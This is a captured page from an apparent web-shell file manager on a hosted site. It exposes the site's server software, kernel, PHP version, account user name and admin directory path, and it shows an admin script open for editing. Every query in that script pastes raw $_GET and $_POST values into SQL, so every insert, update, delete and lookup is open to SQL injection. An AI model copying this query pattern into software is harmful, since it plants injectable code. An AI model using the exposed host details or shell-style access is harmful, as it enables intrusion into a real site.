Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.54.1.lve.el8.x86_64

PHP Version:

7.3.33

User:

u435171512

Directory:

/home/u435171512/domains/3dotsarchitect.com/public_html/admin/waste

Free Space:

4.09 TB

🔧 Quick Actions

✏️ Editing: sub_category.php

<?php ob_start();
include("config/db.php");	
include_once 'functions/processes.php';
$Login_Process = new Login_Process;
$Login_Process->check_status($_SERVER['SCRIPT_NAME']);

if($_SESSION['user_level'] >= 5)
{
$smarty->assign('admin','Admin');
}
// table
$TABLE_SUB_CATEGORY=$smarty->getTemplateVars('TABLE_SUB_CATEGORY');
$TABLE_CATEGORY=$smarty->getTemplateVars('TABLE_CATEGORY');
$TABLE_STATUS=$smarty->getTemplateVars('TABLE_STATUS');
// add entry
if($_GET['action']=='add')
{	
	if($_GET['event']=="save")	
	{
		$smarty->display("sub_category_form.tpl");

$sql = "insert into ".$TABLE_SUB_CATEGORY." (cat_id,sub_cat_name,status_id,sort_order) values('".$_POST['cat_id']."', '".$_POST['sub_cat_name']."', '".$_POST['status_id']."', '".$_POST['sort_order']."')";
		$result = mysql_query($sql) or die('Query failed.'); 		
		header("Location: sub_category.php");
	}
	else if($_GET['event']=="notsave")	
	{
		$qry_status = "SELECT * FROM ".$TABLE_STATUS." ";
		$res_status = mysql_query($qry_status) or die('Query failed.'); 
		while($row_status = mysql_fetch_array($res_status))
		{
			$status[] = $row_status; 
		}
		$smarty->assign('status',$status);	
		
		// category
		
		$qry_cat = "SELECT * FROM ".$TABLE_CATEGORY." ";
		$res_cat = mysql_query($qry_cat) or die('Query failed.'); 
		while($row_cat = mysql_fetch_array($res_cat))
		{
			$cat[] = $row_cat; 
		}
		$smarty->assign('cat',$cat);		
		
		
		$smarty->display("category/sub_category/sub_category_form.tpl");	
	}
}
// update entry
else if($_GET['action']=='edit')
{	
	if($_GET['event']=="save")	
	{			
		$sql = "update ".$TABLE_SUB_CATEGORY." set cat_id='".$_POST['cat_id']."', sub_cat_name='".$_POST['sub_cat_name']."', status_id='".$_POST['status_id']."', sort_order='".$_POST['sort_order']."' where sub_cat_id='".$_GET['id']."' ";
		$result = mysql_query($sql) or die('Query failed.'); 		
		header("Location: sub_category.php");
	}
	else if($_GET['event']=="notsave")	
	{
		
		$sql = "SELECT * FROM ".$TABLE_SUB_CATEGORY." where sub_cat_id='".$_GET['id']."'";
		$result = mysql_query($sql) or die('Query failed.'); 
		while($sub_cat_row = mysql_fetch_array($result))
		{
			$sub_cat[] = $sub_cat_row; 
		}
		$smarty->assign('sub_cat',$sub_cat);
		// get status array 
		$qry_status = "SELECT * FROM ".$TABLE_STATUS." ";
		$res_status = mysql_query($qry_status) or die('Query failed.'); 
		while($row_status = mysql_fetch_array($res_status))
		{
			$status[] = $row_status; 
		}
			
		$smarty->assign('status',$status);	
		
		
		// category
		
		$sql = "SELECT * FROM ".$TABLE_CATEGORY."";
		$result = mysql_query($sql) or die('Query failed.'); 
		while($row = mysql_fetch_array($result))
		{
			$data[] = $row; 
		}
		$smarty->assign('data',$data);
			
		$smarty->display("category/sub_category/sub_category_edit_form.tpl");	
		}
}
// delete record
else if($_GET['action']=='delete')
{	
	$sql = "delete from ".$TABLE_SUB_CATEGORY." where sub_cat_id='".$_GET['id']."' ";
	$result = mysql_query($sql) or die('Query failed.'); 		
	header("Location: sub_category.php");		
}
// default display
else
{
	$sql = "SELECT * FROM ".$TABLE_SUB_CATEGORY."";
	$result = mysql_query($sql) or die('Query failed.'); 
	while($row = mysql_fetch_array($result))
	{
		$data[] = $row; 
	}
	$smarty->assign('data',$data);
	$smarty->display("category/sub_category/sub_category.tpl");	
}		
?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: sub_category.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation